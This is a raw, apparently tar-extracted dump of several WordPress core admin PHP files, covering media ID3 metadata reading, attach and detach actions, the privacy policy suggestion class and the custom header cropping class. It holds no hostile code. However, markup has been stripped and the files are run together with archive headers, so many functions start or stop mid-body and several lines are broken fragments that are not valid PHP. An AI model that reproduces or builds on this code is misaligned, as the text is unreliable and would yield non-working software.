* @param WP_Post $post WP_Post object for the current attachment.
*/
$fields = apply_filters( 'media_submitbox_misc_sections', $fields, $post );
foreach ( $fields as $key => $label ) {
if ( empty( $meta[ $key ] ) ) {
continue;
}
?>
__( 'Audio Format:' ),
'codec' => __( 'Audio Codec:' ),
);
/**
* Filters the audio attachment metadata fields to be shown in the publish meta box.
*
* The key for each item in the array should correspond to an attachment
* metadata key, and the value should be the desired label.
*
* @since 3.7.0
* @since 4.9.0 Added the `$post` parameter.
*
* @param array $fields An array of the attachment metadata keys and labels.
* @param WP_Post $post WP_Post object for the current attachment.
*/
$audio_fields = apply_filters( 'audio_submitbox_misc_sections', $fields, $post );
foreach ( $audio_fields as $key => $label ) {
if ( empty( $meta['audio'][ $key ] ) ) {
continue;
}
?>
$list ) {
if ( 'length' !== $key && ! empty( $list ) ) {
$metadata[ $key ] = wp_kses_post( reset( $list ) );
// Fix bug in byte stream analysis.
if ( 'terms_of_use' === $key && str_starts_with( $metadata[ $key ], 'yright notice.' ) ) {
$metadata[ $key ] = 'Cop' . $metadata[ $key ];
}
}
}
break;
}
}
if ( ! empty( $data['id3v2']['APIC'] ) ) {
$image = reset( $data['id3v2']['APIC'] );
if ( ! empty( $image['data'] ) ) {
$metadata['image'] = array(
'data' => $image['data'],
'mime' => $image['image_mime'],
'width' => $image['image_width'],
'height' => $image['image_height'],
);
}
} elseif ( ! empty( $data['comments']['picture'] ) ) {
$image = reset( $data['comments']['picture'] );
if ( ! empty( $image['data'] ) ) {
$metadata['image'] = array(
'data' => $image['data'],
'mime' => $image['image_mime'],
);
}
}
}
/**
* Retrieves metadata from a video file's ID3 tags.
*
* @since 3.6.0
*
* @param string $file Path to file.
* @return array|false Returns array of metadata, if found.
*/
function wp_read_video_metadata( $file ) {
if ( ! file_exists( $file ) ) {
return false;
}
$metadata = array();
if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
define( 'GETID3_TEMP_DIR', get_temp_dir() );
}
if ( ! class_exists( 'getID3', false ) ) {
require ABSPATH . WPINC . '/ID3/getid3.php';
}
$id3 = new getID3();
// Required to get the `created_timestamp` value.
$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName
$data = $id3->analyze( $file );
if ( isset( $data['video']['lossless'] ) ) {
$metadata['lossless'] = $data['video']['lossless'];
}
if ( ! empty( $data['video']['bitrate'] ) ) {
$metadata['bitrate'] = (int) $data['video']['bitrate'];
}
if ( ! empty( $data['video']['bitrate_mode'] ) ) {
$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
}
if ( ! empty( $data['filesize'] ) ) {
$metadata['filesize'] = (int) $data['filesize'];
}
if ( ! empty( $data['mime_type'] ) ) {
$metadata['mime_type'] = $data['mime_type'];
}
if ( ! empty( $data['playtime_seconds'] ) ) {
$metadata['length'] = (int) round( $data['playtime_seconds'] );
}
if ( ! empty( $data['playtime_string'] ) ) {
$metadata['length_formatted'] = $data['playtime_string'];
}
if ( ! empty( $data['video']['resolution_x'] ) ) {
$metadata['width'] = (int) $data['video']['resolution_x'];
}
if ( ! empty( $data['video']['resolution_y'] ) ) {
$metadata['height'] = (int) $data['video']['resolution_y'];
}
if ( ! empty( $data['fileformat'] ) ) {
$metadata['fileformat'] = $data['fileformat'];
}
if ( ! empty( $data['video']['dataformat'] ) ) {
$metadata['dataformat'] = $data['video']['dataformat'];
}
if ( ! empty( $data['video']['encoder'] ) ) {
$metadata['encoder'] = $data['video']['encoder'];
}
if ( ! empty( $data['video']['codec'] ) ) {
$metadata['codec'] = $data['video']['codec'];
}
if ( ! empty( $data['audio'] ) ) {
unset( $data['audio']['streams'] );
$metadata['audio'] = $data['audio'];
}
if ( empty( $metadata['created_timestamp'] ) ) {
$created_timestamp = wp_get_media_creation_timestamp( $data );
if ( false !== $created_timestamp ) {
$metadata['created_timestamp'] = $created_timestamp;
}
}
wp_add_id3_tag_data( $metadata, $data );
$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;
/**
* Filters the array of metadata retrieved from a video.
*
* In core, usually this selection is what is stored.
* More complete data can be parsed from the `$data` parameter.
*
* @since 4.9.0
*
* @param array $metadata Filtered video metadata.
* @param string $file Path to video file.
* @param string|null $file_format File format of video, as analyzed by getID3.
* Null if unknown.
* @param array $data Raw metadata from getID3.
*/
return apply_filters( 'wp_read_video_metadata', $metadata, $file, $file_format, $data );
}
/**
* Retrieves metadata from an audio file's ID3 tags.
*
* @since 3.6.0
*
* @param string $file Path to file.
* @return array|false Returns array of metadata, if found.
*/
function wp_read_audio_metadata( $file ) {
if ( ! file_exists( $file ) ) {
return false;
}
$metadata = array();
if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
define( 'GETID3_TEMP_DIR', get_temp_dir() );
}
if ( ! class_exists( 'getID3', false ) ) {
require ABSPATH . WPINC . '/ID3/getid3.php';
}
$id3 = new getID3();
// Required to get the `created_timestamp` value.
$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName
$data = $id3->analyze( $file );
if ( ! empty( $data['audio'] ) ) {
unset( $data['audio']['streams'] );
$metadata = $data['audio'];
}
if ( ! empty( $data['fileformat'] ) ) {
$metadata['fileformat'] = $data['fileformat'];
}
if ( ! empty( $data['filesize'] ) ) {
$metadata['filesize'] = (int) $data['filesize'];
}
if ( ! empty( $data['mime_type'] ) ) {
$metadata['mime_type'] = $data['mime_type'];
}
if ( ! empty( $data['playtime_seconds'] ) ) {
$metadata['length'] = (int) round( $data['playtime_seconds'] );
}
if ( ! empty( $data['playtime_string'] ) ) {
$metadata['length_formatted'] = $data['playtime_string'];
}
if ( empty( $metadata['created_timestamp'] ) ) {
$created_timestamp = wp_get_media_creation_timestamp( $data );
if ( false !== $created_timestamp ) {
$metadata['created_timestamp'] = $created_timestamp;
}
}
wp_add_id3_tag_data( $metadata, $data );
$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;
/**
* Filters the array of metadata retrieved from an audio file.
*
* In core, usually this selection is what is stored.
* More complete data can be parsed from the `$data` parameter.
*
* @since 6.1.0
*
* @param array $metadata Filtered audio metadata.
* @param string $file Path to audio file.
* @param string|null $file_format File format of audio, as analyzed by getID3.
* Null if unknown.
* @param array $data Raw metadata from getID3.
*/
return apply_filters( 'wp_read_audio_metadata', $metadata, $file, $file_format, $data );
}
/**
* Parses creation date from media metadata.
*
* The getID3 library doesn't have a standard method for getting creation dates,
* so the location of this data can vary based on the MIME type.
*
* @since 4.9.0
*
* @link https://github.com/JamesHeinrich/getID3/blob/master/structure.txt
*
* @param array $metadata The metadata returned by getID3::analyze().
* @return int|false A UNIX timestamp for the media's creation date if available
* or a boolean FALSE if a timestamp could not be determined.
*/
function wp_get_media_creation_timestamp( $metadata ) {
$creation_date = false;
if ( empty( $metadata['fileformat'] ) ) {
return $creation_date;
}
switch ( $metadata['fileformat'] ) {
case 'asf':
if ( isset( $metadata['asf']['file_properties_object']['creation_date_unix'] ) ) {
$creation_date = (int) $metadata['asf']['file_properties_object']['creation_date_unix'];
}
break;
case 'matroska':
case 'webm':
if ( isset( $metadata['matroska']['comments']['creation_time'][0] ) ) {
$creation_date = strtotime( $metadata['matroska']['comments']['creation_time'][0] );
} elseif ( isset( $metadata['matroska']['info'][0]['DateUTC_unix'] ) ) {
$creation_date = (int) $metadata['matroska']['info'][0]['DateUTC_unix'];
}
break;
case 'quicktime':
case 'mp4':
if ( isset( $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'] ) ) {
$creation_date = (int) $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'];
}
break;
}
return $creation_date;
}
/**
* Encapsulates the logic for Attach/Detach actions.
*
* @since 4.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $parent_id Attachment parent ID.
* @param string $action Optional. Attach/detach action. Accepts 'attach' or 'detach'.
* Default 'attach'.
*/
function wp_media_attach_action( $parent_id, $action = 'attach' ) {
global $wpdb;
if ( ! $parent_id ) {
return;
}
if ( ! current_user_can( 'edit_post', $parent_id ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
}
$ids = array();
foreach ( (array) $_REQUEST['media'] as $attachment_id ) {
$attachment_id = (int) $attachment_id;
if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
continue;
}
$ids[] = $attachment_id;
}
if ( ! empty( $ids ) ) {
$ids_string = implode( ',', $ids );
if ( 'attach' === $action ) {
$result = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $ids_string )", $parent_id ) );
} else {
$result = $wpdb->query( "UPDATE $wpdb->posts SET post_parent = 0 WHERE post_type = 'attachment' AND ID IN ( $ids_string )" );
}
}
if ( isset( $result ) ) {
foreach ( $ids as $attachment_id ) {
/**
* Fires when media is attached or detached from a post.
*
* @since 5.5.0
*
* @param string $action Attach/detach action. Accepts 'attach' or 'detach'.
* @param int $attachment_id The attachment ID.
* @param int $parent_id Attachment parent ID.
*/
do_action( 'wp_media_attach_action', $action, $attachment_id, $parent_id );
clean_attachment_cache( $attachment_id );
}
$location = 'upload.php';
$referer = wp_get_referer();
if ( $referer ) {
if ( str_contains( $referer, 'upload.php' ) ) {
$location = remove_query_arg( array( 'attached', 'detach' ), $referer );
}
}
$key = 'attach' === $action ? 'attached' : 'detach';
$location = add_query_arg( array( $key => $result ), $location );
wp_redirect( $location );
exit;
}
}
class-wp-privacy-policy-content.php 0000644 00000100011 14757313107 0013427 0 ustar 00 $plugin_name,
'policy_text' => $policy_text,
);
if ( ! in_array( $data, self::$policy_content, true ) ) {
self::$policy_content[] = $data;
}
}
/**
* Performs a quick check to determine whether any privacy info has changed.
*
* @since 4.9.6
*/
public static function text_change_check() {
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
// The site doesn't have a privacy policy.
if ( empty( $policy_page_id ) ) {
return false;
}
if ( ! current_user_can( 'edit_post', $policy_page_id ) ) {
return false;
}
$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
// Updates are not relevant if the user has not reviewed any suggestions yet.
if ( empty( $old ) ) {
return false;
}
$cached = get_option( '_wp_suggested_policy_text_has_changed' );
/*
* When this function is called before `admin_init`, `self::$policy_content`
* has not been populated yet, so use the cached result from the last
* execution instead.
*/
if ( ! did_action( 'admin_init' ) ) {
return 'changed' === $cached;
}
$new = self::$policy_content;
// Remove the extra values added to the meta.
foreach ( $old as $key => $data ) {
if ( ! is_array( $data ) || ! empty( $data['removed'] ) ) {
unset( $old[ $key ] );
continue;
}
$old[ $key ] = array(
'plugin_name' => $data['plugin_name'],
'policy_text' => $data['policy_text'],
);
}
// Normalize the order of texts, to facilitate comparison.
sort( $old );
sort( $new );
/*
* The == operator (equal, not identical) was used intentionally.
* See https://www.php.net/manual/en/language.operators.array.php
*/
if ( $new != $old ) {
/*
* A plugin was activated or deactivated, or some policy text has changed.
* Show a notice on the relevant screens to inform the admin.
*/
add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'policy_text_changed_notice' ) );
$state = 'changed';
} else {
$state = 'not-changed';
}
// Cache the result for use before `admin_init` (see above).
if ( $cached !== $state ) {
update_option( '_wp_suggested_policy_text_has_changed', $state, false );
}
return 'changed' === $state;
}
/**
* Outputs a warning when some privacy info has changed.
*
* @since 4.9.6
*/
public static function policy_text_changed_notice() {
$screen = get_current_screen()->id;
if ( 'privacy' !== $screen ) {
return;
}
$privacy_message = sprintf(
/* translators: %s: Privacy Policy Guide URL. */
__( 'The suggested privacy policy text has changed. Please review the guide and update your privacy policy.' ),
esc_url( admin_url( 'privacy-policy-guide.php?tab=policyguide' ) )
);
wp_admin_notice(
$privacy_message,
array(
'type' => 'warning',
'additional_classes' => array( 'policy-text-updated' ),
'dismissible' => true,
)
);
}
/**
* Updates the cached policy info when the policy page is updated.
*
* @since 4.9.6
* @access private
*
* @param int $post_id The ID of the updated post.
*/
public static function _policy_page_updated( $post_id ) {
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
if ( ! $policy_page_id || $policy_page_id !== (int) $post_id ) {
return;
}
// Remove updated|removed status.
$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
$done = array();
$update_cache = false;
foreach ( $old as $old_key => $old_data ) {
if ( ! empty( $old_data['removed'] ) ) {
// Remove the old policy text.
$update_cache = true;
continue;
}
if ( ! empty( $old_data['updated'] ) ) {
// 'updated' is now 'added'.
$done[] = array(
'plugin_name' => $old_data['plugin_name'],
'policy_text' => $old_data['policy_text'],
'added' => $old_data['updated'],
);
$update_cache = true;
} else {
$done[] = $old_data;
}
}
if ( $update_cache ) {
delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
// Update the cache.
foreach ( $done as $data ) {
add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
}
}
}
/**
* Checks for updated, added or removed privacy policy information from plugins.
*
* Caches the current info in post_meta of the policy page.
*
* @since 4.9.6
*
* @return array The privacy policy text/information added by core and plugins.
*/
public static function get_suggested_policy_text() {
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
$checked = array();
$time = time();
$update_cache = false;
$new = self::$policy_content;
$old = array();
if ( $policy_page_id ) {
$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
}
// Check for no-changes and updates.
foreach ( $new as $new_key => $new_data ) {
foreach ( $old as $old_key => $old_data ) {
$found = false;
if ( $new_data['policy_text'] === $old_data['policy_text'] ) {
// Use the new plugin name in case it was changed, translated, etc.
if ( $old_data['plugin_name'] !== $new_data['plugin_name'] ) {
$old_data['plugin_name'] = $new_data['plugin_name'];
$update_cache = true;
}
// A plugin was re-activated.
if ( ! empty( $old_data['removed'] ) ) {
unset( $old_data['removed'] );
$old_data['added'] = $time;
$update_cache = true;
}
$checked[] = $old_data;
$found = true;
} elseif ( $new_data['plugin_name'] === $old_data['plugin_name'] ) {
// The info for the policy was updated.
$checked[] = array(
'plugin_name' => $new_data['plugin_name'],
'policy_text' => $new_data['policy_text'],
'updated' => $time,
);
$found = true;
$update_cache = true;
}
if ( $found ) {
unset( $new[ $new_key ], $old[ $old_key ] );
continue 2;
}
}
}
if ( ! empty( $new ) ) {
// A plugin was activated.
foreach ( $new as $new_data ) {
if ( ! empty( $new_data['plugin_name'] ) && ! empty( $new_data['policy_text'] ) ) {
$new_data['added'] = $time;
$checked[] = $new_data;
}
}
$update_cache = true;
}
if ( ! empty( $old ) ) {
// A plugin was deactivated.
foreach ( $old as $old_data ) {
if ( ! empty( $old_data['plugin_name'] ) && ! empty( $old_data['policy_text'] ) ) {
$data = array(
'plugin_name' => $old_data['plugin_name'],
'policy_text' => $old_data['policy_text'],
'removed' => $time,
);
$checked[] = $data;
}
}
$update_cache = true;
}
if ( $update_cache && $policy_page_id ) {
delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
// Update the cache.
foreach ( $checked as $data ) {
add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
}
}
return $checked;
}
/**
* Adds a notice with a link to the guide when editing the privacy policy page.
*
* @since 4.9.6
* @since 5.0.0 The `$post` parameter was made optional.
*
* @global WP_Post $post Global post object.
*
* @param WP_Post|null $post The currently edited post. Default null.
*/
public static function notice( $post = null ) {
if ( is_null( $post ) ) {
global $post;
} else {
$post = get_post( $post );
}
if ( ! ( $post instanceof WP_Post ) ) {
return;
}
if ( ! current_user_can( 'manage_privacy_options' ) ) {
return;
}
$current_screen = get_current_screen();
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
if ( 'post' !== $current_screen->base || $policy_page_id !== $post->ID ) {
return;
}
$message = __( 'Need help putting together your new Privacy Policy page? Check out our guide for recommendations on what content to include, along with policies suggested by your plugins and theme.' );
$url = esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) );
$label = __( 'View Privacy Policy Guide.' );
if ( get_current_screen()->is_block_editor() ) {
wp_enqueue_script( 'wp-notices' );
$action = array(
'url' => $url,
'label' => $label,
);
wp_add_inline_script(
'wp-notices',
sprintf(
'wp.data.dispatch( "core/notices" ).createWarningNotice( "%s", { actions: [ %s ], isDismissible: false } )',
$message,
wp_json_encode( $action )
),
'after'
);
} else {
$message .= sprintf(
' %s %s',
$url,
$label,
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
wp_admin_notice(
$message,
array(
'type' => 'warning',
'additional_classes' => array( 'inline', 'wp-pp-notice' ),
)
);
}
}
/**
* Outputs the privacy policy guide together with content from the theme and plugins.
*
* @since 4.9.6
*/
public static function privacy_policy_guide() {
$content_array = self::get_suggested_policy_text();
$content = '';
$date_format = __( 'F j, Y' );
foreach ( $content_array as $section ) {
$class = '';
$meta = '';
$removed = '';
if ( ! empty( $section['removed'] ) ) {
$badge_class = ' red';
$date = date_i18n( $date_format, $section['removed'] );
/* translators: %s: Date of plugin deactivation. */
$badge_title = sprintf( __( 'Removed %s.' ), $date );
/* translators: %s: Date of plugin deactivation. */
$removed = sprintf( __( 'You deactivated this plugin on %s and may no longer need this policy.' ), $date );
$removed = wp_get_admin_notice(
$removed,
array(
'type' => 'info',
'additional_classes' => array( 'inline' ),
)
);
} elseif ( ! empty( $section['updated'] ) ) {
$badge_class = ' blue';
$date = date_i18n( $date_format, $section['updated'] );
/* translators: %s: Date of privacy policy text update. */
$badge_title = sprintf( __( 'Updated %s.' ), $date );
}
$plugin_name = esc_html( $section['plugin_name'] );
$sanitized_policy_name = sanitize_title_with_dashes( $plugin_name );
?>
' . __( 'In this section you should note your site URL, as well as the name of the company, organization, or individual behind it, and some accurate contact information.' ) . '
' . __( 'The amount of information you may be required to show will vary depending on your local or national business regulations. You may, for example, be required to display a physical address, a registered address, or your company registration number.' ) . '
' . __( 'In this section you should note what personal data you collect from users and site visitors. This may include personal data, such as name, email address, personal account preferences; transactional data, such as purchase information; and technical data, such as information about cookies.' ) . '
' . __( 'In addition to listing what personal data you collect, you need to note why you collect it. These explanations must note either the legal basis for your data collection and retention or the active consent the user has given.' ) . '
' . __( 'Personal data is not just created by a user’s interactions with your site. Personal data is also generated from technical processes such as contact forms, comments, cookies, analytics, and third party embeds.' ) . '
' . __( 'By default WordPress does not collect any personal data about visitors, and only collects the data shown on the User Profile screen from registered users. However some of your plugins may collect personal data. You should add the relevant information below.' ) . '
' . __( 'In this subsection you should note what information is captured through comments. We have noted the data which WordPress collects by default.' ) . '
' . $suggested_text . __( 'When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor’s IP address and browser user agent string to help spam detection.' ) . '
' . __( 'An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment.' ) . '
' . __( 'In this subsection you should note what information may be disclosed by users who can upload media files. All uploaded files are usually publicly accessible.' ) . '
' . $suggested_text . __( 'If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website.' ) . '
' . __( 'By default, WordPress does not include a contact form. If you use a contact form plugin, use this subsection to note what personal data is captured when someone submits a contact form, and how long you keep it. For example, you may note that you keep contact form submissions for a certain period for customer service purposes, but you do not use the information submitted through them for marketing purposes.' ) . '
' . __( 'In this subsection you should list the cookies your website uses, including those set by your plugins, social media, and analytics. We have provided the cookies which WordPress installs by default.' ) . '
' . $suggested_text . __( 'If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year.' ) . '
' . __( 'If you visit our login page, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser.' ) . '
' . __( 'When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select "Remember Me", your login will persist for two weeks. If you log out of your account, the login cookies will be removed.' ) . '
' . __( 'If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day.' ) . '
' . $suggested_text . __( 'Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website.' ) . '
' . __( 'These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.' ) . '
' . __( 'In this subsection you should note what analytics package you use, how users can opt out of analytics tracking, and a link to your analytics provider’s privacy policy, if any.' ) . '
' . __( 'By default WordPress does not collect any analytics data. However, many web hosting accounts collect some anonymous analytics data. You may also have installed a WordPress plugin that provides analytics services. In that case, add information from that plugin here.' ) . '
' . __( 'In this section you should name and list all third party providers with whom you share site data, including partners, cloud-based services, payment processors, and third party service providers, and note what data you share with them and why. Link to their own privacy policies if possible.' ) . '
' . __( 'In this section you should explain how long you retain personal data collected or processed by the website. While it is your responsibility to come up with the schedule of how long you keep each dataset for and why you keep it, that information does need to be listed here. For example, you may want to say that you keep contact form entries for six months, analytics records for a year, and customer purchase records for ten years.' ) . '
' . $suggested_text . __( 'If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue.' ) . '
' . __( 'For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information.' ) . '
' . $suggested_text . __( 'If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes.' ) . '
' . __( 'In this section you should list all transfers of your site data outside the European Union and describe the means by which that data is safeguarded to European data protection standards. This could include your web hosting, cloud storage, or other third party services.' ) . '
' . __( 'European data protection law requires data about European residents which is transferred outside the European Union to be safeguarded to the same standards as if the data was in Europe. So in addition to listing where data goes, you should describe how you ensure that these standards are met either by yourself or by your third party providers, whether that is through an agreement such as Privacy Shield, model clauses in your contracts, or binding corporate rules.' ) . '
' . __( 'In this section you should provide a contact method for privacy-specific concerns. If you are required to have a Data Protection Officer, list their name and full contact details here as well.' ) . '
' . __( 'If you use your site for commercial purposes and you engage in more complex collection or processing of personal data, you should note the following information in your privacy policy in addition to the information we have already discussed.' ) . '
' . __( 'In this section you should explain what measures you have taken to protect your users’ data. This could include technical measures such as encryption; security measures such as two factor authentication; and measures such as staff training in data protection. If you have carried out a Privacy Impact Assessment, you can mention it here too.' ) . '
' . __( 'In this section you should explain what procedures you have in place to deal with data breaches, either potential or real, such as internal reporting systems, contact mechanisms, or bug bounties.' ) . '
' . __( 'If your website receives data about users from third parties, including advertisers, this information must be included within the section of your privacy policy dealing with third party data.' ) . '
' . __( 'If your website provides a service which includes automated decision making - for example, allowing customers to apply for credit, or aggregating their data into an advertising profile - you must note that this is taking place, and include information about how that information is used, what decisions are made with that aggregated data, and what rights users have over decisions made without human intervention.' ) . '
' . __( 'If you are a member of a regulated industry, or if you are subject to additional privacy laws, you may be required to disclose that information here.' ) . '
';
$strings[] = '
';
}
if ( $blocks ) {
foreach ( $strings as $key => $string ) {
if ( str_starts_with( $string, '
\n" . $string . "\n\n";
}
}
}
$content = implode( '', $strings );
// End of the suggested privacy policy text.
/**
* Filters the default content suggested for inclusion in a privacy policy.
*
* @since 4.9.6
* @since 5.0.0 Added the `$strings`, `$description`, and `$blocks` parameters.
* @deprecated 5.7.0 Use wp_add_privacy_policy_content() instead.
*
* @param string $content The default policy content.
* @param string[] $strings An array of privacy policy content strings.
* @param bool $description Whether policy descriptions should be included.
* @param bool $blocks Whether the content should be formatted for the block editor.
*/
return apply_filters_deprecated(
'wp_get_default_privacy_policy_content',
array( $content, $strings, $description, $blocks ),
'5.7.0',
'wp_add_privacy_policy_content()'
);
}
/**
* Adds the suggested privacy policy text to the policy postbox.
*
* @since 4.9.6
*/
public static function add_suggested_content() {
$content = self::get_default_content( false, false );
wp_add_privacy_policy_content( __( 'WordPress' ), $content );
}
}
class-custom-image-header.php 0000644 00000137650 14757313107 0012224 0 ustar 00 admin_header_callback = $admin_header_callback;
$this->admin_image_div_callback = $admin_image_div_callback;
add_action( 'admin_menu', array( $this, 'init' ) );
add_action( 'customize_save_after', array( $this, 'customize_set_last_used' ) );
add_action( 'wp_ajax_custom-header-crop', array( $this, 'ajax_header_crop' ) );
add_action( 'wp_ajax_custom-header-add', array( $this, 'ajax_header_add' ) );
add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove' ) );
}
/**
* Sets up the hooks for the Custom Header admin page.
*
* @since 2.1.0
*/
public function init() {
$page = add_theme_page(
_x( 'Header', 'custom image header' ),
_x( 'Header', 'custom image header' ),
'edit_theme_options',
'custom-header',
array( $this, 'admin_page' )
);
if ( ! $page ) {
return;
}
add_action( "admin_print_scripts-{$page}", array( $this, 'js_includes' ) );
add_action( "admin_print_styles-{$page}", array( $this, 'css_includes' ) );
add_action( "admin_head-{$page}", array( $this, 'help' ) );
add_action( "admin_head-{$page}", array( $this, 'take_action' ), 50 );
add_action( "admin_head-{$page}", array( $this, 'js' ), 50 );
if ( $this->admin_header_callback ) {
add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
}
}
/**
* Adds contextual help.
*
* @since 3.0.0
*/
public function help() {
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'This screen is used to customize the header section of your theme.' ) . '
' .
'
' . __( 'You can choose from the theme’s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.' ) . '
' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the “Choose Image” button.' ) . '
' .
'
' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you would like and click the “Save Changes” button.' ) . '
' .
'
' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the “Random” radio button next to the Uploaded Images or Default Images section to enable this feature.' ) . '
' .
'
' . __( 'If you do not want a header image to be displayed on your site at all, click the “Remove Header Image” button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click “Save Changes”.' ) . '
' . sprintf(
/* translators: %s: URL to General Settings screen. */
__( 'For most themes, the header text is your Site Title and Tagline, as defined in the General Settings section.' ),
admin_url( 'options-general.php' )
) .
'
' .
'
' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. “#ff0000” for red, or by choosing a color using the color picker.' ) . '
' .
'
' . __( 'Do not forget to click “Save Changes” when you are done!' ) . '
' . __( 'The active theme does not support a flexible sized header image.' ) . '
',
403
);
}
if ( $_POST['oitar'] > 1 ) {
$_POST['x1'] = $_POST['x1'] * $_POST['oitar'];
$_POST['y1'] = $_POST['y1'] * $_POST['oitar'];
$_POST['width'] = $_POST['width'] * $_POST['oitar'];
$_POST['height'] = $_POST['height'] * $_POST['oitar'];
}
$attachment_id = absint( $_POST['attachment_id'] );
$original = get_attached_file( $attachment_id );
$dimensions = $this->get_header_dimensions(
array(
'height' => $_POST['height'],
'width' => $_POST['width'],
)
);
$height = $dimensions['dst_height'];
$width = $dimensions['dst_width'];
if ( empty( $_POST['skip-cropping'] ) ) {
$cropped = wp_crop_image(
$attachment_id,
(int) $_POST['x1'],
(int) $_POST['y1'],
(int) $_POST['width'],
(int) $_POST['height'],
$width,
$height
);
} elseif ( ! empty( $_POST['create-new-attachment'] ) ) {
$cropped = _copy_image_file( $attachment_id );
} else {
$cropped = get_attached_file( $attachment_id );
}
if ( ! $cropped || is_wp_error( $cropped ) ) {
wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
}
/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, 'custom-header' );
if ( ! empty( $_POST['create-new-attachment'] ) ) {
unset( $attachment['ID'] );
}
// Update the attachment.
$attachment_id = $this->insert_attachment( $attachment, $cropped );
$url = wp_get_attachment_url( $attachment_id );
$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );
// Cleanup.
$medium = str_replace( wp_basename( $original ), 'midsize-' . wp_basename( $original ), $original );
if ( file_exists( $medium ) ) {
wp_delete_file( $medium );
}
if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
wp_delete_file( $original );
}
return $this->finished();
}
/**
* Displays last step of custom header image page.
*
* @since 2.1.0
*/
public function finished() {
$this->updated = true;
$this->step_1();
}
/**
* Displays the page based on the current step.
*
* @since 2.1.0
*/
public function admin_page() {
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_die( __( 'Sorry, you are not allowed to customize headers.' ) );
}
$step = $this->step();
if ( 2 === $step ) {
$this->step_2();
} elseif ( 3 === $step ) {
$this->step_3();
} else {
$this->step_1();
}
}
/**
* Unused since 3.5.0.
*
* @since 3.4.0
*
* @param array $form_fields
* @return array $form_fields
*/
public function attachment_fields_to_edit( $form_fields ) {
return $form_fields;
}
/**
* Unused since 3.5.0.
*
* @since 3.4.0
*
* @param array $tabs
* @return array $tabs
*/
public function filter_upload_tabs( $tabs ) {
return $tabs;
}
/**
* Chooses a header image, selected from existing uploaded and default headers,
* or provides an array of uploaded header data (either new, or from media library).
*
* @since 3.4.0
*
* @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
* for randomly cycling among the default images; 'random-uploaded-image',
* for randomly cycling among the uploaded images; the key of a default image
